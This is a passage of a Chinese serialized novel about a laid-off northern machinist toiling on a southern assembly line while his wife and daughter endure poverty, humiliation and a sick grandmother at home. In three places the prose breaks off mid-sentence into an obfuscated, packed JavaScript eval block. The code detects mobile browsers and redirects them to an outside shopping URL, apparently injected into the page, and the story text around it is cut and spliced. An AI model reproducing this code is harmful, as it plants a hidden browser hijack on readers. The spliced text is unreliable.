电批入手,带着一种陌生的、冰冷的震颤感。与他过去在机床上那种需要凭手感、靠经验、充满创造性的劳作完全不同,这里不需要思考,只需要速度,一种近乎本能的、机械重复的速度。 开始了他人生中第一个,也是此后无数个流水线上的十六小时。 起初,他试图用他做钳工时的严谨,将每一颗螺丝都拧得恰到好处,不松不紧。但很快,他就发现这纯属徒劳。 “快!快!快!老东西!你绣花呢?!” 线长不知何时又幽灵般出现在他身后,声音尖利地在他耳边炸响,唾沫星子几乎喷到他脸上,“后面都堵了一堆了!你想让整条线因为你停工吗?!” 张建设手一抖,一颗螺丝滑牙了。他慌忙想去补救。 “废了!扔到废品盒!扣五毛钱!” 线长粗暴地推开他的手,将那块电路板直接扔进旁边的红色塑料盒,动作干净利落,仿佛扔掉的不是物料,而是一块毫无价值的垃圾。“我告诉你,像你这种北方来的老帮菜,要不是缺人,狗都不要!手脚这么慢,趁早滚蛋!” 周围几个年轻的工友发出一阵低低的嗤笑,眼神里没有丝毫同情,只有一种麻木的看热闹心态,或许还有一丝庆幸——幸好挨骂的不是自己。 耻辱像火焰一样烧灼着张建设的脸。他低下头,不再试图“做好”,只求“做完”。他放弃了所有过去的经验和尊严,将全部精神集中在那四颗小小的螺丝上。 取板,定位,电批对准,按下开关,“滋滋——”一声轻响,螺丝旋入,紧接着第二颗,第三颗,第四颗……然后立刻伸手去取下一块。动作必须连贯,不能有丝毫停顿。电批高频的震动通过手臂,传遍全身,让他感觉自己的五脏六腑都在跟着颤抖。那“滋滋”声,开始如同魔音灌耳,后来渐渐变得遥远,仿佛是从另一个世界传来。 时间在这里失去了意义,只有传送带永无止境的移动,和面前仿佛永远也拧不完的螺丝。汗水从他的额角、鬓边不断渗出,汇聚成流,沿着脸颊滑落,滴在绿色的电路板上,瞬间就被车间里闷热的空气蒸发,只留下一个微小的、几乎看不见的盐渍。他不敢去擦,哪怕只是抬手抹一下汗的瞬间,都可能导致动作慢上半拍,引来线长的呵斥。 腰背开始发出抗议,从最初的酸胀,到后来的麻木,再到针扎般的刺痛。双腿因为长时间站立,像灌满了铅,又象是踩在棉花上。他只能时不时地偷偷挪动一下脚,变换一下重心,但这微小的动作在严格的生产线上,也显得如此奢侈。 午餐和晚餐的时间各半小时。铃声一响,所有人像听到指令的士兵,瞬间离开工位,冲向食堂。饭菜是固定的大锅菜,油水稀少,味道寡淡,只能勉强果腹。他端着饭盆,看着周围那些和他一样疲惫、一样沉默的面孔,几乎没有人交谈,只有一片狼吞虎咽的咀嚼声。吃完饭,没有任何休息,铃声再次响起,所有人又被无形的鞭子驱赶着,回到那个属于自己的、狭小的站位上。 十六个小时,不是八小时工作制的简单叠加,而是一种对生理和心理极限的漫长拷问。当代表下班的、如同救赎般的铃声终于响起时,张建设几乎是从工位上瘫软下来的。 他感觉自己的手指已经完全僵硬,无法伸直,保持着一种弯曲的、想要握住什么的姿态,微微颤抖。耳边依旧是“嗡嗡”的轰鸣,那是传送带和电批残留在听觉神经上的幻听。视线一片模糊,看什么都带着重影。 他拖着仿佛不属于自己的身体,跟着麻木的人流走出车间。外面,南方的夜空看不到星星,只有被工业灯火映成暗红色的、污浊的天幕。 他抬起自己那双布满老茧、此刻却连握紧都困难的手,在昏暗的路灯下看着。这双手,曾经能车出精度达到头发丝十分之一的零件,能赢得“技术能手”的奖状,是他在北春安身立命的根本。而如今,它们只是在十六个小时里,机械地重复了成千上万次拧螺丝的动作。 一种比身体疲惫更深沉的、属于灵魂的无力感,像南方的夜露一样,悄无声息地浸透了他。他第一次如此清晰地意识到,在这里,他不再是一个有技术、有名字的“张师傅”,他只是一个代号,一个会呼吸的、必须跟上流水线速度的工具。那每月六百元的许诺,是用他作为人的尊严和全部的时间,一点一点磨损、兑换而来的。 所谓的“包住”,是将他们这些外来男工塞进厂区后面一片低矮、破旧的砖砌平房里。那甚至不能称之为宿舍,更象是临时搭建的窝棚。墙壁没有粉刷,裸露着粗糙的红砖,上面布满了霉斑和来历不明的污渍。屋顶是石棉瓦的,在南方潮湿的空气里,长出了一簇簇暗绿色的苔藓。 张建设推开那扇吱呀作响、几乎要散架的木门,一股浓烈到令人作呕的气浪扑面而来,几乎将他掀了个跟头。那是几十个成年男性体味、汗臭、脚臭、廉价烟草的焦油味,还有角落里堆积的湿衣服散发出的馊味,以及南方特有潮气滋养出的霉味,所有气味混合在一起,经过一夜的发酵,形成的具有实体感的、令人窒息的恶臭。 屋子极大,却极其拥挤。两边是锈迹斑斑的铁架双层床,密密麻麻地排列着,中间只留下一条狭窄的、堆满了破旧鞋子和脸盆的过道。床上是颜色各异、但同样脏污不堪的被褥枕头。光线昏暗,只有屋顶吊着几盏蒙着厚厚灰尘、瓦数极低的白炽灯,像几只垂死的眼睛,勉强投下昏黄的光晕。 此刻正是下工时间,工棚里如同炸开了锅。有人脱掉湿透的工服,赤着精瘦的上身,露出嶙峋的肋骨;有人端着破旧的搪瓷盆,骂骂咧咧地挤向屋子尽头那个只有一个水龙头、地面永远积着污水的洗漱区;有人迫不及待地点燃香烟,贪婪地吸着,仿佛那是续命的良药;更多的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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巨大的疲惫如同潮水,淹没了每一个人,也催生了各种各样的声音。鼾声是这里的主旋律,有的如闷雷滚动,连绵不绝;有的尖锐急促,像拉破的风箱;有的则断断续续,仿佛下一秒就会窒息。磨牙声“咯吱咯吱”,在寂静的夜里显得格外瘆人。还有含混不清的梦话、痛苦的呻吟、放屁声、以及睡梦中无意识地抓挠身体的窸窣声……这些声音交织在一起,形成一首怪诞而压抑的、属于底层劳动者的夜曲。 汗味、脚臭味、呼吸的腐臭,在紧闭的门窗内更加浓郁地发酵。蚊虫在耳边嗡嗡作响,寻找着可以下口的目标。身下的草席粗糙扎人,并且永远带着一股洗刷不掉的、前人的体油和汗渍混合的腻滑感。 张建设蜷缩在坚硬的床板上,睁大眼睛,望着头顶上方那块同样布满污渍的床板。黄毛的脚垂下来,几乎蹭到他的脸。他毫无睡意,十六小时劳作带来的极度疲惫,与这恶劣环境引发的生理性厌恶,在他的身体里激烈搏斗。 他悄悄地、极其小心地从贴身的衬衣口袋里,摸出那张被体温焐热、边缘已经有些磨损的照片。借着从破损窗户透进来的、远处厂区路灯的微弱光芒,他凝视着照片上妻子温柔的笑容和女儿天真无邪的眼睛。那是他在这个令人作呕的、冰冷绝望的工棚里,唯一能触摸到的、一点点虚幻的温暖和洁净。 他把照片紧紧贴在胸口,仿佛那是他唯一的精神锚点,能将他从这片沉沦的、散发着恶臭的泥沼中,暂时拉扯出去。在这个充斥着陌生鼾声与敌意的南方工棚里,在这片由无数卑微生命汇成的、灰暗的潮水中,他像一块沉默的礁石,死死守着心中那点关于北方、关于家的、微弱得即将熄灭的星光。 11. 第一份工资 挨过仿佛一个世纪那般漫长的三十天,发薪日终于到了。没有庄严的仪式,没有工资条,只有一个装着钱的、薄薄的信封,由线长站在车间门口,像发牌一样,面无表情地叫名字,然后塞到每个人手里。那动作随意得如同在打发乞丐。 “张建设!” 张建设几乎是踉跄着冲过去的,双手在油腻的工装裤上使劲擦了擦,才颤抖着接过那个轻飘飘的信封。指尖触碰到纸张的瞬间,一股电流般的战栗从脊椎窜上头顶。他紧紧攥着它,仿佛攥着的是全家人的性命,是他在这个异乡地狱里忍受的所有屈辱和疲惫的唯一补偿。 他没有立刻打开,而是像做贼一样,捂着口袋,弓着腰,一路小跑着冲进厕所,挤进一个相对干净的隔间,插上门栓。狭小的空间里弥漫着刺鼻的消毒水和尿臊味,但他浑然不觉。他背靠着冰冷的隔板,大口喘着气,用因长时间拧螺丝而僵硬发抖的手指,极其小心地、一点点撕开信封的封口。 一叠钞票滑入掌心。 六张一百元,三张十元,总计六百三十元。 崭新的纸币,边缘锋利,带着油墨特有的、冷冽的气息。它们静静地躺在他粗糙、布满裂口和老茧的手掌里,那鲜红的颜色,像火焰,灼烧着他的眼睛,也灼烧着他的心。 六百三十元。这是他过去在北方国营厂里,辛辛苦苦干两三个月才能拿到的数目。如今,只用了一个月——虽然这一个月,是每天十六小时站立,是重复数万次拧螺丝的动作,是吞咽下无数的呵斥、鄙夷和工棚里的恶臭,是透支了他作为人的全部尊严和体力换来的。 巨大的、混杂着辛酸与一丝扭曲成就感的情绪,像潮水般冲击着他的喉咙,让他几乎要哽咽出声。他死死咬住自己的嘴唇,尝到了一丝腥甜的铁锈味,才勉强将那股翻腾的情绪压了下去。 他没有过多耽搁,将钱仔细地数了三遍,确认无误后,重新塞回信封,又小心翼翼地将信封藏进贴身衬衣的口袋里,用别针别好。那薄薄的信封贴着胸口皮肤,带着他的体温,也带着一种沉甸甸的、近乎悲壮的责任感。 中午休息的半小时,他请了假,几乎是跑着去了离厂区最近的那个邮局。邮局里挤满了和他一样前来汇款的打工者,空气中弥漫着汗味和焦虑。他挤到柜台前,用那双依旧不太听使唤的手,填好了汇款单。收款人:李桂兰。金额:五百五十元。在附言栏那一小方狭窄的天地里,他捏着那支被无数人摸得油亮的公用圆珠笔,悬在空中,犹豫了许久。 千言万语堵在胸口。他想诉说南方的湿热和艰辛,想描述工棚的肮脏和车间的压抑,想表达对妻子女儿的思念和愧疚……但最终,他只是用力地、几乎要划破纸背地写下了四个字: “一切安好,勿念。” 写完,他像完成了一场艰难的仪式,长长地、无声地舒了一口气。这谎言,是他唯一能给予远方的慰藉,也是他必须独自扛起的沉重。 他将五百五十元,连同那张承载着谎言与思念的汇款单,一起递进了柜台。看着工作人员盖上邮戳,他心中一块巨石仿佛稍稍松动。 剩下的五十元,他攥在手心,走出了邮局。南方的阳光刺眼而灼热,他眯着眼,走向旁边一家肮脏破旧的小卖部。 他买了最便宜的牙膏、肥皂,又站在柜台前,犹豫了很久,最终指了指那种印着漂亮花卉图案的、八分钱一张的邮票。 “要一张。” 他将找回的零钱,连同那张小小的、色彩鲜艳的邮票,一起珍重地放回了口袋。这五十元,是他接下来一个月所有的开销,包括可能出现的头疼脑热。而那张邮票,是他准备在某个难以入眠的夜晚,给女儿写一封家书用的。 他摸了摸胸口,那装着五百五十元汇款收据和剩余几十元钱的位置,依旧沉甸甸的。但这沉重里,似乎有了一丝微弱的光。这光是靠他榨干自己换来的,它照不亮他身在的这个异乡地狱,但他希望,它能多少照亮一点北方那个寒冷破败的家中,妻女脚下的路。 第三个连续的大夜班。时间象是被粘稠的沥青拖住了脚步,每一分每一秒都散发着腐朽的气息。车间的日光灯在凌晨三四点的光景里,显得愈发惨白,像无数把冰冷的手术刀,解剖着每个工友脸上残存的生气。空气污浊不堪,松香、焊锡、汗液和某种来自人体极限的、微甜的虚弱气息混合在一起,沉甸甸地压在胸口。 张建设感觉自己像一台即将散架的旧机器,每一个关节都在发出呻吟。眼皮重得像坠了铅块,需要用尽全身力气才能撑开一条缝隙。视线里,传送带上的绿色电路板不再是产品,而是一片流动的、令人眩晕的绿色沼泽。耳朵里灌满了流水线永恒的轰鸣和电批“滋滋”的尖叫,这声音不再仅仅是噪音,而是直接钻入骨髓,搅动着脑髓。 他强迫自己抬起仿佛灌满了铅的手臂,重复着那成千上万次的动作:取板,定位,电批对准,按下开关……动作已经完全机械化,大脑一片空白,只剩下肌肉在疲惫地抽搐着完成指令。 就在他感觉自己的意识即将被这片绿色的沼泽彻底吞噬时,前方不远处,靠近插件工位的地方,突然传来一声沉闷的、□□与水泥地面接触的钝响。 “噗通——” 声音不大,但在单调的机械噪音中,却像一颗投入死水潭的石子,激起了细微的涟漪。 张建设浑浊的目光下意识地循声望去。只见一个瘦小的身影软软地瘫倒在地,像一截突然被砍断的绳索。那是负责给电路板插电容的女工,看上去年纪很轻,不会超过二十岁,脸色在惨白的灯光下,呈现出一种骇人的、如同旧报纸般的蜡黄。她的眼睛紧闭着,嘴唇微微张合,却发不出任何声音,只有胸口极其微弱的起伏证明她还活着。一小堆五颜六色的电容从她手中散落,滚了一地。 是那个不太爱说话、总是低着头的四川妹子。张建设记得她,因为她曾在他刚来时,悄悄提醒过他一次厕所的位置。 流水线,只是极其短暂地、几乎难以察觉地顿了一下,随即又恢复了那冷酷无情的匀速移动。仿佛什么也没有发生。那块她未来得及插上电容的板子,毫无阻碍地流向了下一个工位。 “怎么回事?!”线长那如同被砂纸打磨过的、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743046|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不耐烦的嗓音立刻炸响。他快步走过来,不是先去看地上的人,而是皱着眉头,检查了一下因为女工倒下而略微受阻、但很快被后面人接手的工位流程。 “妈的!又晕一个!肯定是低血糖!说了多少次,夜班前要吃东西!”线长嘴里骂骂咧咧,用脚不耐烦地踢了踢地上那个失去知觉的、单薄的身体,象是在拨开一块挡路的石头。“废物!净耽误产量!” 他环顾四周,看到几个离得近的工友动作有些迟疑,目光不由自主地瞟向地上,立刻厉声喝道:“看什么看!干你们的活!谁他妈产量不够,今晚别想下班!” 如同被鞭子抽打,所有窥探的目光瞬间缩了回去,每个人都低下头,更加拼命地加快手上的动作,生怕成为下一个被斥责的对象。没有人敢停下,没有人敢去扶。流水线的节奏,比一个人的生命更重要。 线长这才皱着眉头,对着不远处两个负责搬运物料的中年男工挥了挥手,语气象是吩咐人去清理一堆垃圾:“你,还有你!把她拖到那边墙角去!别挡着道!真是晦气!” 那两个男工麻木地放下手里的活,走过来,一人一边,架起那个软绵绵的、毫无生气的女孩,她的双脚无力地拖在地上,在布满灰尘和油污的水泥地上划出两道浅浅的痕迹。他们将她像丢弃一个破麻袋一样,随意地放在了车间一个堆放废弃包装箱的、阴暗潮湿的角落里。 没有医生,没有药品,甚至没有一口水。只有一个失去意识的、年轻的躯体,被弃置在冰冷的墙角,与她作伴的只有废纸箱和蜘蛛网。 线长看都没再看那边一眼,转而开始对着所有人大声咆哮,唾沫星子在惨白的灯光下飞溅:“都给我打起精神来!谁再他妈掉链子,就跟她一样,滚蛋!听见没有?!” 回应他的,只有一片更加死寂的沉默,和更加疯狂的、试图证明自己还有用的劳作声。电批的“滋滋”声变得愈发刺耳。 张建设感觉自己的胃里一阵翻江倒海。他看着那个被丢弃在墙角、生死未卜的年轻女孩,又看着眼前这条依旧滚滚向前、吞噬着一切绿色电路板的冰冷钢铁河流。他想起了北春机械厂的车间,虽然破败,虽然也艰苦,但工友之间,总还有那么一点嘘寒问暖,总还会在谁不舒服时递上一杯热水,顶一下岗位。 而这里,没有。这里只有赤裸裸的、冰冷的效率,只有产量,只有那每月六百三十元钱背后,被明码标价、可以随意丢弃的健康与尊严。 一股寒意,比北方最凛冽的寒风还要刺骨,从脚底板猛地窜起,瞬间冻结了他的四肢百骸。他感到一种前所未有的恐惧,不仅仅是对这非人环境的恐惧,更是对自己可能在某一天,也像那个四川妹子一样,无声无息地倒下,然后被像垃圾一样拖到某个角落,无人问津的恐惧。 他死死咬住牙关,用尽最后一丝力气,将注意力重新拉回到面前那四颗小小的螺丝上。手指因为恐惧和愤怒而微微颤抖,但他不敢停,甚至不敢再朝那个墙角看一眼。 流水线的轰鸣,掩盖了角落里微弱的呼吸,也掩盖了每个人心中,那无声的、巨大的悲鸣。 12. 早市的地摊 北方的清晨,天光未亮,寒气像无数根细密的钢针,穿透棉袄,直往骨头缝里钻。李桂兰用头巾把自己裹得严严实实,只露出一双因为缺乏睡眠而布满血丝、却又不得不强打精神的眼睛。她挎着一个巨大的、洗得发白的帆布包,里面塞满了她这些日子夜夜挑灯赶制出来的劳保手套、粗线袜子和几把自家窗台上种的、冻得有些发蔫的小葱和菠菜。脚步匆匆,却又带着一种难以启齿的迟疑,走向离家不远的那片露天早市。 早市设在一条背风的、坑洼不平的土路旁,此刻已经聚集了不少像她一样来讨生活的人。卖旧衣物的,卖廉价塑料盆的,卖自家腌的咸菜的……空气中混杂着泥土的腥气、腐烂菜叶的酸味、以及人们呵出的白气和廉价早餐摊上飘来的、勾人馋虫却又遥不可及的油香。叫卖声、讨价还价声、自行车铃铛声此起彼伏,构成了一幅底层百姓为生存而挣扎的、喧闹而粗糙的画卷。 李桂兰没有像那些老练的小贩一样占据有利位置,而是磨蹭到市场最边缘、最不起眼的一个角落。这里靠近一个散发着恶臭的垃圾堆,地面潮湿肮脏,很少有人愿意过来。她四下张望,像做贼一样,确认没有熟悉的邻居,才迅速从帆布包里掏出一块褪色的、印着模糊牡丹花的旧塑料布,铺在冰冷的地面上。然后,将那些手套、袜子和小葱,一样样小心翼翼地摆开。每一样东西都显得那么寒酸,那么微不足道。 她低着头,不敢吆喝,甚至不敢直视过往的行人。双手插在袖筒里,冻得通红的指头在里面互相搓揉着,汲取一点可怜的暖意。脚上那双单薄的棉鞋,根本无法抵御这地面的寒气,冻得她双脚发麻,只能不停地轻轻跺着。 “哟!这不是桂兰吗?” 一个如同破锣般熟悉的声音,还是在她最不愿意的时候响起了。王婶拎着个菜篮子,象是偶然逛到这里,脸上挂着那种混合着惊讶、怜悯和一丝隐秘优越感的复杂笑容,停在了她的地摊前。 “哎呀呀,你这是……也出来摆摊了?”王婶弯下腰,用她那戴着厚棉手套的手指,挑剔地拨拉着地摊上那双织得最厚实的手套,“啧啧,这手工,这线头……桂兰啊,不是我说你,这玩意儿现在谁还买啊?商店里卖的,又好看又便宜!你这得卖到猴年马月去?” 李桂兰的脸瞬间涨得通红,火辣辣的,象是被当众抽了一巴掌。她死死咬着下唇,几乎要咬出血来,才忍住没有抬头反驳。 王婶似乎很满意她的反应,直起腰,声音不大不小,却足以让附近几个小贩都听见:“唉,要说建设也是,拍拍屁股跑去南方享福了,留你一个人在家受这罪!这大冷天的……真是造孽哦!” 她叹了口气,那叹息里没有半分真心,只有满满的看热闹不嫌事大。“你这点东西,能卖几个钱?够给小梅买本像样的练习本不?” 这些话,像淬了毒的针,一根根扎进李桂兰的耳朵里,疼得她浑身发颤。她恨不得地上立刻裂开一条缝钻进去。 就在这时,市场那头突然毫无征兆地骚动起来! “城管来了!快跑!” 不知是谁声嘶力竭地吼了一嗓子,如同在滚沸的油锅里泼进了一瓢冷水。整个早市瞬间炸开了锅!小贩们象是受惊的麻雀,脸上血色尽褪,手忙脚乱地卷起地上的货物,抓起秤杆,推起小车,惊慌失措地向四面八方逃窜。菜叶、塑料袋、甚至掉落的鞋子散落一地,场面混乱不堪。 李桂兰的大脑一片空白,心脏象是被一只无形的手猛地攥紧,几乎停止了跳动!她听到自己如擂鼓般的心跳声,咚咚咚地撞击着耳膜! 求生的本能压倒了一切羞耻!她几乎是扑倒在地,用最快的速度,近乎粗暴地将塑料布的四角胡乱抓起,把所有的手套、袜子、小葱,不管不顾地塞进那个巨大的帆布包里!动作慌乱得扯断了好几根毛线。 她刚把鼓鼓囊囊的包挎上肩,直起腰,就看到几个穿着深蓝色制服、戴着大盖帽的身影,如同凶神恶煞般,已经从市场那头冲了过来,嘴里呵斥着,开始没收那些跑得慢的小贩的东西。 她什么也顾不上了,挎着沉重的包,像一只被猎犬追赶的兔子,低着头,沿着墙根,拼命地往家的方向跑去!冷风像刀子一样刮过她的脸颊,灌进她的喉咙,让她喘不上气。沉重的帆布包一下下撞击着她的胯骨,生疼。她能感觉到身后那些城管呵斥的声音,以及王婶可能投来的、更加幸灾乐祸的目光。 她不敢回头,只是拼命地跑,肺部火辣辣地疼,眼泪因为狂奔和屈辱,不受控制地涌了出来,瞬间被寒风吹得冰凉。 直到一头撞进自家那栋熟悉的筒子楼,冲上昏暗、冰冷的楼梯,后背紧紧抵住家门,听着自己那颗快要蹦出喉咙的心脏在空寂的楼道里发出巨大的、恐惧的回响,她才敢停下来,大口大口地喘着粗气。 冰冷的房门硌着她的脊背,带来一丝真实的痛感。早市的喧嚣、王婶的讥讽、城管的呵斥……都暂时被隔绝在外。但那份深入骨髓的屈辱和恐惧,却像这北方的寒气一样,牢牢地附着在她身上,久久不散。 北方的寒风似乎也懂得欺软怕硬,格外肆虐地钻进北春市红星小学那破败的校园。教室的窗户糊着厚厚的塑料布,被风吹得“呼啦”作响,像垂死病人艰难的呼吸。炉子里的煤块半死不活地烧着,吝啬地释放着一点可怜的热量,根本无法驱散孩子们写字时指尖的僵硬和鼻尖的冻红。 课间操的铃声刚歇,班主任李老师——一个戴着深度眼镜、面色总是带着几分焦黄和严肃的中年女人,就走上了讲台。她没有像往常一样直接开始讲课,而是清了清嗓子,手里拿着一张油印的通知,目光在台下五十多个小脑袋上扫过。 “同学们,安静一下。”她的声音带着一种公式化的、不容置疑的权威,“学校为了丰富大家的课余生活,决定扩建图书馆,添置一批新图书。这是有利于我们所有同学的大好事!” 她顿了顿,扶了扶眼镜,继续念着通知上那些冠冕堂皇的词语:“本着‘自愿’原则,希望每位同学都能为学校的建设贡献一份力量。捐款金额……不低于十元。” “自愿”这两个字,被她念得格外清晰,却又像裹着一层看不见的冰壳,带着沉甸甸的压力,砸在每个孩子的心上。 教室里出现了一阵细微的骚动。有家境稍好的孩子,脸上露出无所谓甚至略带炫耀的神情;更多的孩子,则像张小梅一样,低下了头,手指不安地绞着破旧的衣角,或是偷偷去瞄同桌的反应。十元钱,对很多家庭来说,不是一个小数目。 张小梅感觉自己的脸颊瞬间烧了起来,心跳得厉害。她不敢抬头,生怕对上李老师那看似随意、实则锐利的目光,也怕看到周围同学那些或轻松或同样窘迫的眼神。她脑子里飞快地计算着:妈妈摆地摊,一双粗糙的手套只能卖两三毛钱,还要提心吊胆躲避城管;爸爸寄回的钱,每一分都早有去处……十块钱,像一座小山,压得她喘不过气。 “张小梅,”李老师的声音果然还是点到了她,语气听起来很平常,却带着一种无形的审视,“你父亲……在南方工作,收入应该不错吧?要积极为集体做贡献啊。” 这话像一根针,轻轻巧巧地挑破了她试图掩藏的窘迫。周围似乎有几道目光投射过来,带着好奇,或者别的什么。她感到一种火辣辣的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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就在这时,隔壁王婶那极具穿透力的声音,又不合时宜地透过墙壁传了过来,象是在哼唱,又象是在故意说给这边听: “哎,听说学校又要捐款了?十块!现在这学校,真会想法子要钱!穷人家孩子还读什么书哟,趁早回家干活算了!” 这话像最后一根稻草,压垮了李桂兰。她猛地转过身,背对着女儿,肩膀剧烈地抖动起来。但她没有让眼泪掉下来,只是用力地吸了吸鼻子。 然后,她象是下定了某种决心,快步走到床边,从枕头底下摸出那个她藏钱的小布包。里面只有一些毛票和几分几角的硬币,最大面额是一张五元的,已经皱巴巴。她把这些钱全部倒在床上,仔仔细细地数了一遍,又一遍。远远不够。 她沉默地站了一会儿,然后猛地拉开门,走了出去。 张小梅听到母亲敲响了隔壁吴姨家的门,听到母亲用那种她从未听过的、低声下气的、带着恳求的语气说话。过了一会儿,门关上了,母亲回来了,手里攥着一张叠得整整齐齐的十元纸币。 她把那张还带着别人体温的纸币,塞到张小梅手里,声音沙哑而疲惫: “拿去……交给老师。” 张小梅握着那张沉甸甸的纸币,感觉它像一块烧红的烙铁,烫得她手心发疼。她看着母亲迅速转过身去,重新拿起那件拆到一半的旧毛衣,手指却抖得几乎握不住线头。 她没有说“谢谢”,也没有说任何话。只是把那十元钱,小心翼翼地夹进了语文书里。她知道,这不仅仅是十元钱,这是母亲破碎的尊严,是她们这个家庭,在现实的重压下,又一次无声的妥协和牺牲。窗外,寒风依旧,夜色渐浓。 13. 婆婆的药 日子像生了锈的锯子,在北风的呼啸声中,一下下拉扯着,缓慢而煎熬。李桂兰在清点那个藏在米缸底层的、装着急用钱的破手帕包时,心里猛地一沉——婆婆的降压药,已经断了三天了。 那小小的白色药瓶,此刻空荡荡地立在婆婆床头那张掉漆的木柜上,像一只嘲讽的眼睛。瓶身上“硝苯地平”的字样,曾经是维系这个家里一丝微弱平稳的符咒,如今却成了压在李桂兰心口的巨石。婆婆这几日总是嚷嚷着头晕,靠在炕上喘不上气,那一声声浑浊而痛苦的呻吟,像钝刀子割着李桂兰的神经。 不能再拖了。 她攥着那个手帕包,里面是几张毛票和最后一点钢镚,加起来也不到两块五。这点钱,连一瓶药的三分之一都买不到。她咬咬牙,从自己那件旧棉袄的内衬里,又摸出仅有的五毛钱——这是她原本想给女儿买副新鞋垫的。 寒风卷着细碎的雪沫,抽打在她脸上。她把头巾裹得更紧些,揣着那三块钱,象是揣着全部的希望,走向街口那家挂着绿色十字招牌的国营药店。 药店里比外面暖和不了多少,玻璃柜台后面,穿着白大褂的售货员正抱着热水袋打盹。李桂兰走到柜台前,怯生生地开口:“同志,买……买一瓶硝苯地平。” 售货员懒洋洋地抬起眼皮,报出一个数字:“八块五。” 那数字像冰锥,瞬间刺穿了李桂兰勉强维持的镇定。她的脸颊迅速失去血色,嘴唇嗫嚅着,手在口袋里死死攥着那三块钱,几乎要将其捏出水来。 “能……能不能先赊……”她鼓足勇气,声音细若蚊蚋。 “开玩笑呢!”售货员立刻打断她,脸上露出一种混合着鄙夷和不耐烦的神情,“我们这儿概不赊账!买不起就别耽误时间!” 那目光像刷子一样,扫过李桂兰洗得发白的棉袄和冻得通红、布满裂口的手。 李桂兰象是被当众抽了一耳光,脸颊火辣辣地疼。她慌忙低下头,不敢再看那售货员,攥着那三块钱,逃也似的离开了药店。冰冷的门在她身后关上,隔绝了里面那点可怜的暖意,也隔绝了她最后的希望。 她失魂落魄地走在寒风凛冽的街上,目光茫然地扫过两旁紧闭的店铺。最后,她的脚步停在了一个肮脏的、用破木板和塑料布搭成的理发摊前。摊主是个豁牙的老头,正揣着手在寒风里跺脚。 一个疯狂的念头在她脑海中闪现——卖掉这头长发。她记得年轻时,她的辫子又黑又亮,邻居们都夸。虽然如今已有些干枯发黄,但长度还在。 她走过去,声音带着一丝孤注一掷的颤抖:“大爷……收……收头发吗?” 豁牙老头抬起浑浊的眼睛,上下打量了她一番,重点在她那头虽然缺乏保养、但依旧能看出底子不错的头发上停留了片刻。他示意李桂兰坐下,然后用他那双粗糙、指甲缝里嵌着污垢的手,抓起她的头发,掂了掂,又凑近了仔细看发质和发根。 “太干,没油性,还分叉。”老头撇着豁牙,语气挑剔得像在评价一块劣质的布料,“最多……三块钱。” 三块钱!李桂兰的心猛地往下一沉,像掉进了冰窟窿。三块钱,加上她原有的,也远远不够买药。而且,卖掉头发,她以后还怎么见人?邻居们,尤其是王婶,会怎么在背后戳她的脊梁骨? 她仿佛已经听到了王婶那尖利的声音穿透墙壁:“哎哟喂,快看呐!张家媳妇穷得连头发都卖了!真是败家到了极点!建设要是知道,怕不是得气死在外头!” 这想象让她不寒而栗。 老头见她犹豫,不耐烦地催促:“卖不卖?不卖别挡着我做生意!” 李桂兰看着老头那冷漠的眼神,又想起婆婆在炕上痛苦的呻吟,和空荡荡的药瓶。屈辱和无奈像两条毒蛇,缠绕着她的心。她死死咬住下唇,几乎要咬出血来。 最终,她猛地站起身,什么也没说,几乎是跑着离开了那个理发摊。寒风吹散了她凌乱的发丝,也吹干了她眼角那点不争气的湿意。 她没有卖。那三块钱,连同她破碎的尊严和最后一点对仪容的坚持,被她紧紧地、更紧地攥回了手心里。 她拖着沉重的脚步回到家,推开那扇冰冷的门。婆婆微弱而急促的咳嗽声从里屋传来。她走到婆婆床头,看着那个空药瓶,又看了看手里那几张被汗水浸湿的、皱巴巴的毛票。 最终,她默默地拿起空药瓶,走到外间,将其藏在了碗柜最深的角落里,仿佛这样就能暂时忘记这个迫在眉睫的难题。然后,她重新坐到那盏昏黄的灯下,拿起那件拆了一半的旧毛衣,更加用力地、近乎疯狂地拆解起来,仿佛要将所有的绝望和无力,都发泄在那团纠缠不清的旧毛线上。 窗外,北风依旧,夜色如墨。药,终究是没有买成。这个家,在疾病的阴影下,又朝着看不见的深渊,滑落了一寸。 北方的夜,黑得早,也黑得沉。窗外风声凄厉,像旷野里饿狼的哀嚎,不断撞击着单薄的窗棂。筒子楼里供电不稳,昏黄的白炽灯忽明忽暗,在张小梅摊开的作文本上投下摇曳不定、令人心烦意乱的光影。 家里静得可怕。里屋传来奶奶压抑的、断断续续的咳嗽声,像破旧风箱在苟延残喘。母亲李桂兰还在外间借着那点微弱的光亮拆解旧毛线,动作迟缓,几乎没有声音,仿佛连呼吸都刻意放轻了,生怕打扰了女儿,也生怕惊动了这屋里捉襟见肘的平衡。 张小梅坐在冰凉的板凳上,小小的身子伏在折叠饭桌的一角。她面前摊开的不是作业,而是一本崭新的作文本——封面上印着鲜红的“红旗小学”字样,这是她省下几次早餐钱才买来的。她手里紧紧攥着一支短得快要握不住的铅笔,笔头粗糙,写出来的字迹深浅不一。 她是要给远在南方的父亲写信。 